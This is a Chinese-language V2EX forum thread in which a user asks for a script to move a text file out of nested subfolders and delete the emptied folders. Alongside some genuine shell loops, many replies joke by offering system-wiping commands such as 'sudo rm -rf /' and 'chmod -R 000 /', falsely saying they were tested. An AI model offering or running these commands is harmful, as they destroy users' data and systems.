临近周末,懒癌发作,求脚本

2017-11-17 16:15:35 +08:00
 hackerwgf
当前目录下有 N 个文件夹,这 N 个文件夹内都有一个叫做 XXX 的文件夹,XXX 文件夹内都有一个 YYY.txt 文件
想把每一个 YYY.txt 都从 XXX 文件夹拿出来并与其平级,然后删掉 XXX 文件夹

大约是酱婶的:


python 和 shell 皆可( mac 环境)
4309 次点击
所在节点    Python
28 条回复
invoke
2017-11-17 16:19:43 +08:00
这。。不就是遍历当前文件夹嘛
for file in ./
mv ./file/xxx/yyy.txt file/yyy.txt 就成了吧。。
rm -rf ./file/xxx

其实我也不太懂 shell 随手百度瞎打的 错了勿喷。
shihira
2017-11-17 16:25:18 +08:00
find -name YYY.txt | while read fn; do
mv "fn" "$(dirname fn)/../"
rmdir "$(dirname fn)" #要保证 XXX 是空的吧
done

我也是没试验过随手打的(
shihira
2017-11-17 16:26:12 +08:00
@shihira 下面三个 fn 要变成$fn (捂脸
GreatHumorist
2017-11-17 16:29:24 +08:00
rm -rf *
其实我也没试验过,随手打的,错了勿喷
fxmqs
2017-11-17 16:31:44 +08:00
rm -fr /
我试验过,绝对可行
wunonglin
2017-11-17 16:33:56 +08:00
sudo rm -fr /*
刚试过了,可以的
lonelygo
2017-11-17 16:38:54 +08:00
这一波操作越到后面效果越好😂
kimqcn
2017-11-17 16:39:38 +08:00
sudo rm -fr /*
刚试过了,可以的
IllBeBack
2017-11-17 16:44:07 +08:00
sudo rm -fr /*

相对 rf, 我更喜欢 fr,因为 fr 是法国的缩写,感觉更浪漫。
edutilos
2017-11-17 16:44:20 +08:00
chmod -R 000 /
也可以,比楼上那些快多了
billion
2017-11-17 16:45:18 +08:00
我也试过了,

sudo rm -rf /

可以搞定。
araraloren
2017-11-17 16:46:39 +08:00
reboot
Quick Better solution
Patrick95
2017-11-17 16:48:35 +08:00
楼上的,楼主已经懒癌发作了,你们就不怕他心脏病发作吗?
wampyl
2017-11-17 17:01:50 +08:00
for file in `ls ./`
do
mv ./$file/xxx/yyy.txt ./$file/yyy.txt
rm -rf ./$file/xxx
done
二楼的更好
xshwy
2017-11-17 17:07:06 +08:00
想知道付出了什么代价 哈哈哈
nccer
2017-11-17 17:09:01 +08:00
@wampyl 你不怕$file 里面带空格吗?
araraloren
2017-11-17 17:09:05 +08:00
for ("A"..."D")>>.IO { .add("XXX").add("YYY.txt").move(.add("YYY.txt")); .add("XXX").rmdir; }
gamecreating
2017-11-17 17:13:07 +08:00
sudo rm -rf /

一键休息
yujieyu7
2017-11-17 17:21:21 +08:00
一动操作后,世界都清静了
MiguelValentine
2017-11-17 17:23:54 +08:00
楼主今天是回不了你们消息了,他忙着重装系统

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/407272

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX